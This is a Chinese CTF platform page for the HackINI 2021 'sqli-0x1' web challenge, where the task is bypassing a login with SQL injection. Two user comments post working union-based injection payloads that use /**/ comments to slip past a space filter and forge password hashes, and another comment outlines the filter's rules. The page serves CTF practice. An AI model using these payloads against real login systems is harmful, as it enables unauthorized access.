sqli-0x1WEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2021
题目作者: 未知
一  血: Aman
一血奖励: 0金币
解  决: 3010
提  示: shellmates{********}
描  述:

SQL injections are still a problem yes, even in 2021.
Bypass the login mechanism and get access to the admin area.

评论
yD6yX6 16天前

通过开发者工具可以看到html注释中给了源代码页面地址<!-- <a href="/?pls_help">get some help</a> -->; 通过源代码可以看出是通过黑名单和白名单机制过滤SQL语句,符合[0-9a-zA-Z]'[0-9a-zA-Z]的会被通过,符合["' ", " '",

回复 0

liuliuliu666kkk 1月前

shellmates{*********}

回复 0

之袄赵 2月前

对我来说有点超纲 Username: a'union/**/select/**/1,'d619e89bdaae0de8760ea721fa1ba8d9a819870b1ba82d720e7ac802270fce92$999'--+ Password:`888`

回复 0

Skyblade 2月前

用sqlmap完全测不出来

回复 0

TryShallow 2月前

admin'/**/and/**/'1'='1'/**/union/**/select/**/1,'85dd6b5cf9cc13d2c6132e0b71392cfb1dc9c1e03f4a42359001b3c8fbc78a13$aa'x-- -x'y&pass=wer

回复 1

永乐 3月前

shellmates{******}

回复 0

iceiii 3月前

shellmates{****}

回复 0

laige 3月前

哈希,payload

回复 0

YSJ 3月前

看看我的解析,希望能帮到你https://blog.csdn.net/2403_87828987/article/details/163085622?spm=1001.2014.3001.5502

回复 2

Jason—power 3月前

完全不会

回复 1

WriteUp

image
a2cai

2 金币

评分(36)

解题动态

miosrfmoire 攻破了该题 4小时前
kilijkl 攻破了该题 6小时前
smile_zkh 攻破了该题 13小时前
CjNxn 攻破了该题 2天前
马家琪琪 攻破了该题 2天前
ldj 攻破了该题 2天前
487太绅士了吧 攻破了该题 2天前
001100 攻破了该题 3天前
beenoon 攻破了该题 4天前
wkp1 攻破了该题 5天前
joyann 攻破了该题 5天前
St@r 攻破了该题 5天前
wang8 攻破了该题 6天前
anumma 攻破了该题 6天前
飞侠来了 攻破了该题 7天前
jxx233 攻破了该题 8天前
Haker也爱笑 攻破了该题 8天前
sunburst1 攻破了该题 8天前
yiyiyiyi1 攻破了该题 9天前
一碗红枣粥 攻破了该题 9天前
问题反馈